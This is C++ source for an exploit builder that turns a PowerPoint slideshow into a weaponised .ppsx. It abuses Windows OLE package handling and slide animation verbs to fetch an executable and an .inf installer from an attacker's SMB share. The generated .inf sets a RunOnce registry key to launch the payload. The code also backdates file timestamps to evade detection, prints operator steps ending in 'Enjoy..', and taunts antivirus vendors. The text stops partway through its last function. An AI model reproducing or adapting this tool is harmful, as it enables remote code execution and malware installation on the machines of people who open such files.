	

    /*++
        Title:  
            Windows NT 6.X OLE package manager remote code execution through
            MS Office Powerpoint XYZ slideshow (ppts, pptxs).
       
        EID:
            00000217:2013/06/10
     
        Description:
            Undocumented features exist in Windows NT 6 OLE package  manager.
            These features allow to bypass 'Safe download' mechanism     from
            untrusted sources and to execute imm.    The IContextMenu  i-face
            is used by 3-rd party software (such as MS Office Powerpoint XYZ)
            to unpack and dispatch package data. Shell action to be   applied
            to package is specified by action id in 'cmd' parameter of  slide
            xml-based document. Action Id '-1' and '-2' are reserved by    MS
            Office Powerpoint engine. Currently, silent '.inf'   installation
            is used for mitigation bypass.  The  MS Office    for  Windows XP
            contains internal OLE Package interpreter,  so Windows XP doesn't
            affected.
            Hi F-5ecure and E5et!   We  are offering  you  to patch holes and
            backdoors in your fucking AV-s. We know about them.
     
        Discovered:
            2013/06/06
     
    --*/      
     
    #include <Windows.h>
    #include <OleAuto.h>
    #include <stdio.h>
    #include <OAIdl.h>
    #include <string>
    #include <shldisp.h>
    #include <tlhelp32.h>
    #include <assert.h>
     
    using namespace std;
     
    #define MAKE_OFFICE_IMPORT 0
     
    #if MAKE_OFFICE_IMPORT
    #import "z:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\VBA6\\VBE6EXT.OLB"
    #import "z:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\mso.dll"
    #import "z:\\Program Files (x86)\\Microsoft Office\\Office12\\msppt.olb"
     
    /*  Modify office headers after import.
        In file vbe6ext.tlh specify:
            #include "mso.tlh"
            using namespace Office;
     
        In file msppt.tlh specify:
            #include "vbe6ext.tlh"
            using namespace VBIDE;
        */
     
    #else
     
    #if _DEBUG
     
    #include "Debug\mso.tlh"
    #include "Debug\vbe6ext.tlh"
    #include "Debug\msppt.tlh"
     
    #else
     
    #include "Release\mso.tlh"
    #include "Release\vbe6ext.tlh"
    #include "Release\msppt.tlh"
     
    #endif
     
    #endif
     
    /*  Processor definitions
        */
    static HRESULT  __G_hresult = S_OK;
     
    #define CHK_HR( hr ) do { if (FAILED(__G_hresult = (hr))) { goto _Done; } } while(0)
     
    #define CHK_ALLOC( ptr ) do { if ((ptr) == NULL) {goto  _Done; } } while(0)
     
    #define SAFE_RELEASE_BY_REF( obj ) do { if((*obj) != NULL) { (*obj )->Release(); *obj = NULL;} } while(0)
     
    #define SAFE_FREE_BSTR_BY_REF( obj ) do { if((*obj) != NULL) { SysFreeString((*obj)); (*obj) = NULL;} } while(0)
     
    #define VariantInitAsLong( var, val)    \
        VariantInit( &(var) );              \
        (var).vt  = VT_I4;                  \
        (var).lVal = val;
     
     
    /*************************************************************************
        Rtns definition
    *************************************************************************/
    int wmain(int argc, wchar_t **argv);
    bool change_file_time(__in wchar_t *fname);
    void print_usage_and_exit(__in wchar_t *exe);
    bool produce_presentation(__in wchar_t *fname, __in wchar_t *fnameSaveAs, __in wchar_t *fname1Tmp, __in wchar_t *fname2Tmp);
    bool presentation_does_have_ole_packages(__in PowerPoint::_Presentation *pPresentation, __out bool *doesHave);
    bool create_ole_embed_stg_copy(__in const wchar_t *file_result, __in char *str1, __in char *str2);
    bool rewrite_embeddings_in_presentation(__in  wchar_t *fnamePpt, __in wchar_t *fnameData);
    bool parse_cmd(int argc, wchar_t **argv, wstring *fnamePptIn, wstring *smbPath, wstring *fnameExe,wstring *fnameExeOnSmb,wstring *fnameInfOnSmb, bool *bForceUpload);
     
     
    /*************************************************************************
        Rtns implementation
    *************************************************************************/
    bool produce_presentation(__in wchar_t *fname, __in wchar_t *fnameSaveAs, __in wchar_t *fname1Tmp, __in wchar_t *fname2Tmp) {
     
        wstring                     stdWstrFileSaveAs;
        PowerPoint::PpSaveAsFileType    saveAsType;
        bool                        bres = false,
                                    bDoesHaveOlePackages = false;
        CLSID                       appClsid = { 0 };
        BSTR                        bstrApplicationProgId = NULL,
                                    bstrPresentationPath = NULL,
                                    bstrSaveAs = NULL;
        PowerPoint::_Application   *pApplication = NULL;
        PowerPoint::Presentations  *pPresentations = NULL;
        PowerPoint::_Presentation  *pPresentation = NULL;
        PowerPoint::Slides         *pSlides = NULL;
        PowerPoint::_Slide         *pSlide = NULL;
        PowerPoint::Shapes         *pShapes = NULL;
        PowerPoint::Shape          *pShape0 = NULL,
                                   *pShape1 = NULL,
                                   *pShapeCurr = NULL;
        PowerPoint::TimeLine       *pTimeLine = NULL;
        PowerPoint::Sequences      *pSequences = NULL;
        PowerPoint::Sequence       *pSequence = NULL;
        PowerPoint::Effect         *pEffect = NULL;
        PowerPoint::AnimationBehaviors *pAnimationBehaviors = NULL;
        PowerPoint::AnimationBehavior  *pAnimationBehavior = NULL;
        PowerPoint::CommandEffect  *pCommandEffect = NULL;
        PowerPoint::SlideShowTransition    *pSlideShowTransition = NULL;
        VARIANT                     varSlideIndex;
       
       
        /*  Produce file name for saving
            */
        stdWstrFileSaveAs.append(fnameSaveAs);
       
        saveAsType = PowerPoint::PpSaveAsFileType::ppSaveAsOpenXMLShow;
       
        CHK_ALLOC( bstrApplicationProgId = SysAllocString(L"Powerpoint.Application"));
     
        /*  Obtain POwerPoint App CLSID from PowerPoint App Identifier
            */
        CHK_HR( CLSIDFromProgID( bstrApplicationProgId, &appClsid) );
     
        /*  Create instance of POWERPOINT Application
            */
        CHK_HR( CoCreateInstance(
                    appClsid,
                    NULL,
                    CLSCTX_LOCAL_SERVER,
                    __uuidof(PowerPoint::_Application),
                    (LPVOID*)&pApplication) );
     
        /*  Get presentation collection
            */
        CHK_HR( pApplication ->get_Presentations(&pPresentations) );
     
        /*  Open presentation
            */
        CHK_ALLOC( bstrPresentationPath = SysAllocString(fname) );
     
        CHK_HR( pPresentations ->raw_Open(
                    bstrPresentationPath,
                    Office::MsoTriState::msoFalse,
                    Office::MsoTriState::msoFalse,
                    Office::MsoTriState::msoFalse,
                    &pPresentation) );
     
        /*  Make sure that presentation doesn't have a lot of ole packages
            */
        if (!presentation_does_have_ole_packages(pPresentation, &bDoesHaveOlePackages)) {
     
            CHK_HR( E_ABORT );
        }
     
        if (bDoesHaveOlePackages) {
     
            printf("[-] ERROR: Specified presentation already includes OLE objects or no slides found.\n");
     
            CHK_HR( E_ABORT );
        }
     
        /*  Get collection of slides
            */
           
        CHK_HR( pPresentation ->get_Slides( &pSlides) );
     
        /*  Get first slide by index
            */
         VariantInitAsLong(varSlideIndex, 1);
     
        CHK_HR( pSlides ->raw_Item( varSlideIndex, &pSlide) );
     
        /*  Get collection of shapes in slide
            */
        CHK_HR( pSlide ->get_Shapes( &pShapes) );
     
        /*  Add 1-th shape to slide as first OLE object
            */
        CHK_HR( pShapes ->raw_AddOLEObject(
                    100.0, -100.0, 30.0, 30.0,
                    _bstr_t(L""),
                    _bstr_t(fname1Tmp),
                    Office::MsoTriState::msoFalse,
                    _bstr_t(L""),
                    0,
                    _bstr_t(L""),
                    Office::MsoTriState::msoFalse,
                    &pShape0
                    ) );
     
        /*  Add 2-th shape to slide as second OLE object
            */
        CHK_HR( pShapes ->raw_AddOLEObject(
                    150.0, -100.0, 30.0, 30.0,
                    _bstr_t(L""),
                    _bstr_t(fname2Tmp),
                    Office::MsoTriState::msoFalse,
                    _bstr_t(L""),
                    0,
                    _bstr_t(L""),
                    Office::MsoTriState::msoFalse,
                    &pShape1
                    ) );
     
        /*  Configure slide timing
            */
        CHK_HR( pSlide ->get_TimeLine( &pTimeLine ) );
     
        /*  Obtain Main Sequence for timeLine of slide
            */
        CHK_HR( pTimeLine ->get_MainSequence( &pSequence) );
     
        /*  Produce first effect for 1-th shape.
            1-th shape specifies OLE Object which just copies .exe payload
            from remote SMB server and stores in temporary file.
            Specify command verb as '-3' which tells to ShellApi do nothing.
            Effect with id 1 loads slide background.
            Effect with id 2 loads exe stub from remote server.
            */
        {
            CHK_HR( pSequence ->raw_AddEffect(
                        pShape0,
                        PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
                        PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
                        PowerPoint::MsoAnimTriggerType::msoAnimTriggerWithPrevious, //PowerPoint::MsoAnimTriggerType::msoAnimTriggerOnPageClick,
                        1,
                        &pEffect) );
     
            SAFE_RELEASE_BY_REF( &pEffect );
     
            CHK_HR( pSequence ->raw_AddEffect(
                        pShape0,
                        PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
                        PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
                        PowerPoint::MsoAnimTriggerType::msoAnimTriggerAfterPrevious, //PowerPoint::MsoAnimTriggerType::msoAnimTriggerOnPageClick,
                        2,
                        &pEffect) );
     
     
            CHK_HR( pEffect ->get_Behaviors( &pAnimationBehaviors) );
     
            CHK_HR( pAnimationBehaviors ->raw_Add( PowerPoint::MsoAnimType::msoAnimTypeCommand, 1, &pAnimationBehavior) );
     
            CHK_HR( pAnimationBehavior ->get_CommandEffect( &pCommandEffect) );
     
            CHK_HR( pCommandEffect ->put_Type( PowerPoint::MsoAnimCommandType::msoAnimCommandTypeVerb) );
           
            CHK_HR( pCommandEffect ->put_Command( _bstr_t(L"-3")) );
        }
     
        /*  Release resources assigned with Shape0
            */
        SAFE_RELEASE_BY_REF( &pCommandEffect );
        SAFE_RELEASE_BY_REF( &pAnimationBehavior );
        SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
        SAFE_RELEASE_BY_REF( &pEffect );
        SAFE_RELEASE_BY_REF( &pShape0 );
     
        /*  Produce first effect for 2-th shape.
            2-th shape specifies OLE Object which simple copies .inf file
            from remote SMB server and stores in temporary file with .inf extension.
            Specify command verb as '3' which tells to ShellApi do 'Install' action.
            Effect with id 3 loads .inf from remote server and start it.
            */
        {
            CHK_HR( pSequence ->raw_AddEffect(
                        pShape1,
                        PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
                        PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
                        PowerPoint::MsoAnimTriggerType::msoAnimTriggerAfterPrevious,
                        3,
                        &pEffect) );
     
     
            CHK_HR( pEffect ->get_Behaviors( &pAnimationBehaviors) );
     
            CHK_HR( pAnimationBehaviors ->raw_Add( PowerPoint::MsoAnimType::msoAnimTypeCommand, 1, &pAnimationBehavior) );
     
            CHK_HR( pAnimationBehavior ->get_CommandEffect( &pCommandEffect) );
     
            CHK_HR( pCommandEffect ->put_Type( PowerPoint::MsoAnimCommandType::msoAnimCommandTypeVerb) );
     
            CHK_HR( pCommandEffect ->put_Command( _bstr_t(L"3")) );
        }
        /*  Release resources assigned with Shape1
            */
        SAFE_RELEASE_BY_REF( &pCommandEffect );
        SAFE_RELEASE_BY_REF( &pAnimationBehavior );
        SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
        SAFE_RELEASE_BY_REF( &pEffect );
        SAFE_RELEASE_BY_REF( &pShape1 );
     
        /*  Configure SlideShowTransition
            */
     
        CHK_HR( pSlide ->get_SlideShowTransition(&pSlideShowTransition) );
     
        CHK_HR( pSlideShowTransition ->put_EntryEffect( PowerPoint::PpEntryEffect::ppEffectBoxOut ) );
     
        CHK_HR( pSlideShowTransition ->put_AdvanceTime( 0.5 ) );
     
        SAFE_RELEASE_BY_REF( &pSlideShowTransition );
     
     
        /*  Release resources assigned with Presentation
            */
        SAFE_RELEASE_BY_REF( &pSequence );
        SAFE_RELEASE_BY_REF( &pTimeLine );
        SAFE_RELEASE_BY_REF( &pShapes );
        SAFE_RELEASE_BY_REF( &pSlide );
        SAFE_RELEASE_BY_REF( &pSlides );
     
     
        /*  Save presentation
            */
        CHK_ALLOC(bstrSaveAs = SysAllocString(stdWstrFileSaveAs.c_str()) );
     
        CHK_HR( pPresentation ->raw_SaveAs( bstrSaveAs, saveAsType, Office::MsoTriState::msoTriStateMixed) );
     
        bres = true;
     
    _Done:
       
        VariantClear( &varSlideIndex );
     
        SAFE_FREE_BSTR_BY_REF( &bstrPresentationPath );
     
        SAFE_FREE_BSTR_BY_REF( &bstrApplicationProgId );
     
        SAFE_FREE_BSTR_BY_REF( &bstrSaveAs );
     
        /*  Release resources assigned with Shape0 and Shape1
            */
        SAFE_RELEASE_BY_REF( &pCommandEffect );
        SAFE_RELEASE_BY_REF( &pAnimationBehavior );
        SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
        SAFE_RELEASE_BY_REF( &pEffect );
        SAFE_RELEASE_BY_REF( &pShape0 );
        SAFE_RELEASE_BY_REF( &pShape1 );
     
        /*  Release resources assigned with Presentation
            */
        SAFE_RELEASE_BY_REF( &pSlideShowTransition );
        SAFE_RELEASE_BY_REF( &pSequence );
        SAFE_RELEASE_BY_REF( &pTimeLine );
        SAFE_RELEASE_BY_REF( &pShapes );
        SAFE_RELEASE_BY_REF( &pSlide );
        SAFE_RELEASE_BY_REF( &pSlides );
     
        /*  Close Currently opened presentation
            */
        if (pPresentation) {
     
            pPresentation ->raw_Close();
        }
        SAFE_RELEASE_BY_REF( &pPresentation );
     
        SAFE_RELEASE_BY_REF( &pPresentations );
     
        /*  Close powerpoint automation application
            */
        if (pApplication) {
     
            pApplication ->raw_Quit();
        }
     
        SAFE_RELEASE_BY_REF( &pApplication );
     
        return bres;
    }
     
    bool create_ole_embed_stg_copy(__in const wchar_t *file_result, __in char *str1, __in char *str2) {
       
        bool        bresult = false;
        IStorage   *pStorage = NULL;
        IStream    *pStream = NULL;
        HRESULT     hresult = S_OK;
        CLSID       clsidMedia = {0};
        VOID       *pvFileData = NULL;
        size_t      dataSize = 0;
        ULONG       bytesWritten = 0;
        char        trailer = 0;
        wstring     stdWstrFileNameOut;
     
     
        stdWstrFileNameOut.append(file_result);
     
        hresult =
            StgCreateStorageEx(
                stdWstrFileNameOut.c_str(),
                STGM_CREATE | STGM_SHARE_EXCLUSIVE | STGM_READWRITE,
                STGFMT_STORAGE,
                0,
                NULL,
                NULL,
                IID_IStorage,
                (void**)&pStorage
                );    
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): StgCreateStorageEx failed with error: %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(hresult);
        }
     
        hresult =
            pStorage ->CreateStream(
                L"\x01OLE10Native",
                STGM_CREATE | STGM_SHARE_EXCLUSIVE | STGM_READWRITE,
                0,
                0,
                &pStream
                );
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): IStorage::CreateStream failed with error: %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(hresult);
        }
     
        dataSize = strlen(str1) + 1 + strlen(str2) + 1;
     
     
        // write header
        hresult = pStream ->Write( &dataSize, (ULONG)4, &bytesWritten );
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): IStream::Write(header) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(E_ABORT);
        }
     
        // write string 1
        hresult = pStream ->Write( str1, (ULONG)strlen(str1), &bytesWritten );
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): IStream::Write(string#1) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(E_ABORT);
        }
     
        // write string 1 trailer
        hresult = pStream ->Write( &trailer, (ULONG)1, &bytesWritten );
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): IStream::Write(string#1 trailer) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(E_ABORT);
        }
     
        // write string 2
        hresult = pStream ->Write( str2, (ULONG)strlen(str2), &bytesWritten );
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): IStream::Write(string#2) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(E_ABORT);
        }
     
        // write string 2 trailer
        hresult = pStream ->Write( &trailer, (ULONG)1, &bytesWritten );
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): IStream::Write(string#2 trailer) failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(E_ABORT);
        }
     
        // write class of storage
        hresult = CLSIDFromString( L"{00022602-0000-0000-C000-000000000046}", &clsidMedia);
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): CLSIDFromString failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(E_ABORT);
        }
     
        hresult = WriteClassStg(pStorage, clsidMedia);
     
        if (FAILED(hresult)) {
     
            //printf("[-] %s(): WriteClassStg failed with error %d(%08x)\r\n", __FUNCTION__, hresult, hresult);
     
            CHK_HR(hresult);
        }
     
        //printf("[+] %s(): Storage %S created.\r\n", __FUNCTION__, file_result);
        change_file_time( (wchar_t*)stdWstrFileNameOut.c_str() );
     
        bresult = true;
       
    _Done:
        SAFE_RELEASE_BY_REF( &pStream );
     
        SAFE_RELEASE_BY_REF( &pStorage );
     
        if(pvFileData) {
     
            free(pvFileData);
        }
     
        return bresult;
     
    }
     
    bool create_somthing_file(wchar_t *fpath) {
     
        HANDLE hFile = INVALID_HANDLE_VALUE;
        DWORD  bytesWritten = 0;
     
        hFile = CreateFileW(fpath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE || hFile == NULL)  {
     
            wprintf(L"[-] ERROR: Cannot create temporary file %s with some data\n", fpath);
     
            return false;
        }
     
        if (FALSE == WriteFile( hFile, "Some Data\n", strlen("Some Data\n"), &bytesWritten, NULL)) {
     
            wprintf(L"[-] ERROR: Cannot write temporary file %s with some data\n", fpath);
     
            CloseHandle(hFile);
     
            return false;
        }
     
        CloseHandle(hFile);
     
        return true;
    }
     
    bool generate_inf_file(wchar_t *fnameInf, wchar_t *fnameExeOnSmb) {
     
        HANDLE  hFile = INVALID_HANDLE_VALUE;
        DWORD   bytesWritten = 0;
        wstring stdFnameExeOnSmb;
        string  stdFnameExeOnSmbA;
        string  data;
        BOOL    bres = FALSE;
     
        stdFnameExeOnSmb.append(fnameExeOnSmb);
        stdFnameExeOnSmbA.append(stdFnameExeOnSmb.begin(), stdFnameExeOnSmb.end());
     
        hFile = CreateFileW( fnameInf, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == INVALID_HANDLE_VALUE || hFile == NULL)  {
     
            wprintf(L"[-] ERROR: Cannot create temporary file %s with some data\n", fnameInf);
     
            return false;
        }
     
        data.append("; 61883.INF\n");
        data.append("; Copyright (c) Microsoft Corporation.  All rights reserved.\n\n");
     
        data.append("[Version]\n");
        data.append("Signature = \"$CHICAGO$\"\n");
        data.append("Class=61883\n");
        data.append("ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}\n");
        data.append("Provider=%Msft%\n");
        data.append("DriverVer=06/21/2006,6.1.7600.16385\n\n");
     
        data.append("[DestinationDirs]\n");
        data.append("DefaultDestDir = 1\n\n");
     
        data.append("[DefaultInstall]\n");
        data.append("RenFiles = RxRename\n");
        data.append("AddReg = RxStart\n\n");
     
        data.append("[RxRename]\n");
        data.append(stdFnameExeOnSmbA.c_str());
        data.append(".exe, ");
        data.append(stdFnameExeOnSmbA.c_str());
        data.append("\n");
     
        data.append("[RxStart]\n");
        data.append("HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\");
        data.append(stdFnameExeOnSmbA.c_str());
        data.append(".exe\n");
     
        bres = WriteFile(hFile, data.c_str(), data.length(), &bytesWritten, NULL);
     
        FlushFileBuffers(hFile);
     
        CloseHandle(hFile);
     
        return (bres);
    }
     
    int wmain(int argc, wchar_t **argv) {
     
       
        wstring     stdWstrSaveAs,
                    stdWstrObject1,
                    stdWstrObject2,
                    stdWstrSavedAs;
     
        wstring     stdFnamePptIn,
                    stdSmbPath,
                    stdFnameExe,
                    stdFnameExeOnSmb,
                    stdFnameInfOnSmb,
                    stdPathExeOnSmb,
                    stdPathInfOnSmb,
                    stdPathTmp1,
                    stdPathTmp2,
                    stdPathInf,
                    stdPathExe;
        string      stdPathExeOnSmbA,
                    stdPathInfOnSmbA;
     
        bool        bForceUpload = false;
       
        wchar_t     currDir[MAX_PATH];
     
     
        GetCurrentDirectoryW(MAX_PATH, currDir);
       
     
        if (!parse_cmd(argc, argv, &stdFnamePptIn, &stdSmbPath, &stdFnameExe, &stdFnameExeOnSmb, &stdFnameInfOnSmb, &bForceUpload ) ) {
     
            printf("[-] ERROR: invalid input\n");
     
            return 0;
        }
       
     
        CHK_HR( CoInitializeEx(NULL, COINIT_APARTMENTTHREADED));
     
        stdWstrSaveAs.append(stdFnamePptIn.c_str());
     
        stdWstrSaveAs.append(L".saved.ppsx");
       
        /*  Construct a path to exe on SMB as %stdSmbPath%\%stdFnameExeOnSmb%
            */
        stdPathExeOnSmb.append(stdSmbPath.c_str());
        stdPathExeOnSmb.append(L"\\");
        stdPathExeOnSmb.append(stdFnameExeOnSmb.c_str());
        stdPathExeOnSmbA.append(stdPathExeOnSmb.begin(), stdPathExeOnSmb.end());
     
        /*  Construct a path to inf on SMB as %stdSmbPath%\%stdFnameInfOnSmb%
            */
        stdPathInfOnSmb.append(stdSmbPath.c_str());
        stdPathInfOnSmb.append(L"\\");
        stdPathInfOnSmb.append(stdFnameInfOnSmb.c_str());
        stdPathInfOnSmbA.append(stdPathInfOnSmb.begin(), stdPathInfOnSmb.end());
     
        /*  Construct a path to tmp1 file
            */
        stdPathTmp1.append(currDir);
        stdPathTmp1.append(L"\\tmp1.tmp");
     
        if (!create_somthing_file((wchar_t*)stdPathTmp1.c_str()) ) {
     
            CHK_HR(E_ABORT);
        }
     
        /*  Construct a path to tmp2 file
            */
        stdPathTmp2.append(currDir);
        stdPathTmp2.append(L"\\tmp2.tmp");
     
        if (!create_somthing_file((wchar_t*)stdPathTmp2.c_str()) ) {
     
            CHK_HR(E_ABORT);
        }
     
     
        /*  Modify presentation imm
            */
        if (!produce_presentation(
                (wchar_t*)stdFnamePptIn.c_str(),
                (wchar_t *)stdWstrSaveAs.c_str(),
                (wchar_t *) stdPathTmp1.c_str(),
                (wchar_t *) stdPathTmp2.c_str()
             ) )
        {
     
            printf("[-] ERROR: cannot update presentation\n");
     
            CHK_HR( E_ABORT);
        }
     
        /*  Create OLE 1-th Object
            */
        stdWstrObject1.append(currDir);
        stdWstrObject1.append(L"\\");
        stdWstrObject1.append(L"oleObject1.bin");
     
        if (!create_ole_embed_stg_copy(stdWstrObject1.c_str(), "EmbeddedStg1.txt", (char*)stdPathExeOnSmbA.c_str()) ) {
     
            printf("[-] ERROR: cannot create 1-th OLE Object\n");
     
            CHK_HR( E_ABORT);
        }
     
        /*  Create OLE 2-th Object
            */
        stdWstrObject2.append(currDir);
        stdWstrObject2.append(L"\\");
        stdWstrObject2.append(L"oleObject2.bin");
        if (!create_ole_embed_stg_copy(stdWstrObject2.c_str(), "EmbeddedStg2.txt", (char*)stdPathInfOnSmbA.c_str()) ) {
         
            printf("[-] ERROR: cannot create 2-th OLE Object\n");
     
            CHK_HR( E_ABORT);
        }
     
        /*  Generate inf file
            */
        stdPathInf.append(currDir);
        stdPathInf.append(L"\\");
        stdPathInf.append(stdFnameInfOnSmb.c_str());
     
        if (!generate_inf_file((wchar_t*)stdPathInf.c_str(), (wchar_t*)stdFnameExeOnSmb.c_str())) {
     
            printf("[-] ERROR: Cannot generate inf file\n");
            CHK_HR(E_ABORT);
        }
     
        /*  Generate exe for SMB
            */
        stdPathExe.append(currDir);
        stdPathExe.append(L"\\");
        stdPathExe.append(stdFnameExeOnSmb.c_str());
     
        if (!CopyFileW(stdFnameExe.c_str(), stdPathExe.c_str(), FALSE)) {
            wprintf(L"[-] ERROR: Cannot create '%s' from '%s'\n", stdFnameExeOnSmb.c_str(), stdFnameExe.c_str());
     
            CHK_HR(E_ABORT);
        }
     
        /*  Upload files onto remote shared folder
            */
        if (bForceUpload) {
     
            if (!CopyFileW( stdPathExe.c_str(), stdPathExeOnSmb.c_str(), FALSE)) {
     
                wprintf(L"[-] ERROR: Cannot upload .exe file '%s' to '%s'\n", stdPathExe.c_str(), stdSmbPath.c_str());
            }
     
            if (!CopyFileW( stdPathInf.c_str(), stdPathInfOnSmb.c_str(), FALSE)) {
           
                wprintf(L"[-] ERROR: Cannot upload .inf file '%s' to '%s'\n", stdPathInf.c_str(), stdSmbPath.c_str());
            }
        }
        int step = 1;
        wprintf(L"[+] INFO: \n");
        wprintf(L"    %d) Rename presentation file '%s' to '%s.zip';\n", step++, stdWstrSavedAs.c_str(), stdWstrSavedAs.c_str());
        wprintf(L"    %d) Stupid MS developers cann't create API for zip, so unzip '%s.zip'\n", step++, stdWstrSavedAs.c_str());
        wprintf(L"    %d) Copy '%s' into 'ppt/embeddings' sub-directory of unzipped file;\n", step++, stdWstrObject1.c_str());
        wprintf(L"    %d) Copy '%s' into 'ppt/embeddings' sub-directory of unzipped file;\n", step++, stdWstrObject2.c_str());
        wprintf(L"    %d) Zip unzipped presentation and rename to presentation with '.ppsx'\n", step++);
        if (bForceUpload) {
            wprintf(L"    %d) Copy '%s' into '%s'\n", step++, stdFnameExeOnSmb.c_str(), stdSmbPath.c_str());
            wprintf(L"    %d) Copy '%s' into '%s'\n", step++, stdFnameInfOnSmb.c_str(), stdSmbPath.c_str());
        }
        wprintf(L"    %d) Enjoy..\n", step++);
     
     
    _Done:
     
        DeleteFileW( stdPathTmp1.c_str());
     
        DeleteFileW( stdPathTmp2.c_str());
     
        CoUninitialize();
     
        return(__G_hresult);
    }
     
    bool presentation_does_have_ole_packages(__in PowerPoint::_Presentation *pPresentation, __out bool *doesHave) {
     
        bool                    bres = false;
        PowerPoint::Slides     *pSlides = NULL;
        PowerPoint::_Slide     *pSlide = NULL;
        PowerPoint::Shapes     *pShapes = NULL;
        PowerPoint::Shape      *pShape = NULL;
        PowerPoint::OLEFormat  *pOLEFormat = NULL;
        long                    slidesCount = 0;
        VARIANT                 varSlideIndex,
                                varShapeIndex;
        int                     shapesCount = 0;
        MsoAutoShapeType        shapeType;
        BSTR                    bstrProgId = NULL;
        IDispatch              *pOLEDispObject = NULL;
     
     
     
        assert(doesHave != NULL);
        assert(pPresentation != NULL);
     
        *doesHave = false;
     
        /*  Get pointer to interface of Slides object.
            */
        CHK_HR(pPresentation ->get_Slides(&pSlides) );
     
     
        /*  Get count of slides in presentation
            */
        CHK_HR(pSlides ->get_Count(&slidesCount) );
     
        /*  Make sure that slides exist in presentation
            */
        if (slidesCount == 0) {
     
            printf("[-] Failed couse no slides found in presentation\n");
     
            CHK_HR(E_FAIL);
        }
     
        for (long i = 1; i <= slidesCount; i ++) {
       
            VariantInitAsLong(varSlideIndex, i);
     
            CHK_HR( pSlides ->raw_Item( varSlideIndex, &pSlide) );
     
            VariantClear( &varSlideIndex );
     
            /*  Get list of shapes
            */
            CHK_HR( pSlide ->get_Shapes( &pShapes) );
     
            /*  Get count of shapes
                */
            CHK_HR( pShapes ->get_Count(&shapesCount) );
           
            /*  Verify each shape
                */
            for (int j = 1; j <= shapesCount; j++) {
     
                VariantInitAsLong( varShapeIndex, j);
     
                CHK_HR( pShapes ->raw_Item( varShapeIndex, &pShape) );
     
                VariantClear( &varShapeIndex );
     
                CHK_HR( pShape ->get_AutoShapeType( &shapeType) );
     
                if (shapeType == Office::MsoAutoShapeType::msoShapeMixed) {
     
                    CHK_HR( pShape ->get_OLEFormat(&pOLEFormat) );
     
                    CHK_HR( pOLEFormat ->get_ProgID( &bstrProgId) );
     
                    if (wcsicmp( L"Package", bstrProgId) == 0) {
     
                        *doesHave = true;
                    }
     
                    SAFE_FREE_BSTR_BY_REF( &bstrProgId );
     
                    SAFE_RELEASE_BY_REF( &pOLEFormat );
                }
     
                SAFE_RELEASE_BY_REF( &pShape );
     
                if (*doesHave) {
     
                    break;
                }
            }
            ///////////
     
     
            SAFE_RELEASE_BY_REF( &pShapes );
     
            SAFE_RELEASE_BY_REF( &pSlide );
     
            if (*doesHave) {
     
                break;
            }
        }
     
        bres = true;
     
    _Done:
     
        VariantClear( &varShapeIndex );
     
        VariantClear( &varSlideIndex );
     
        SAFE_FREE_BSTR_BY_REF( &bstrProgId );
     
        SAFE_RELEASE_BY_REF( &pOLEFormat );
     
        SAFE_RELEASE_BY_REF( &pShape );
     
        SAFE_RELEASE_BY_REF( &pShapes );
     
        SAFE_RELEASE_BY_REF( &pSlide );
     
        SAFE_RELEASE_BY_REF( &pSlides );
     
        return bres;
    }
     
    bool change_file_time(wchar_t *fname) {
     
        SYSTEMTIME  systemTime = {0};
        HANDLE      hFile = INVALID_HANDLE_VALUE;
        FILETIME    fileTime = {0};
     
        GetSystemTime( &systemTime);
     
        systemTime.wYear = 1980;
        systemTime.wMonth = 1;
        systemTime.wDay = 1;
        systemTime.wHour = 15;
        systemTime.wMinute = 0;
        systemTime.wSecond = 0;
     
        hFile = \
            CreateFileW(
                fname,
                FILE_WRITE_ATTRIBUTES,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL
                );
     
        if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
     
            return false;
        }
     
        SystemTimeToFileTime( &systemTime, &fileTime);
     
        SetFileTime( hFile, &fileTime, &fileTime, &fileTime);
     
        CloseHandle(hFile);
     
        return true;
    }
     
    bool rewrite_embeddings_in_presentation(__in  wchar_t *fnameZip, __in wchar_t *fnameData)
    /*++
        Oh fuck! Stupid Microsoft developers cann't create human-relible
        API for zip management. 21st century! WTF? I cann't use   IShell
        interface for zip management, so use 3rd party zip archivers.
    --*/
    {
       
        bool            bres = false;
        IShellDispatch *pShell = NULL;
        VARIANT         varDir,
                        varFile,
                        varOption;
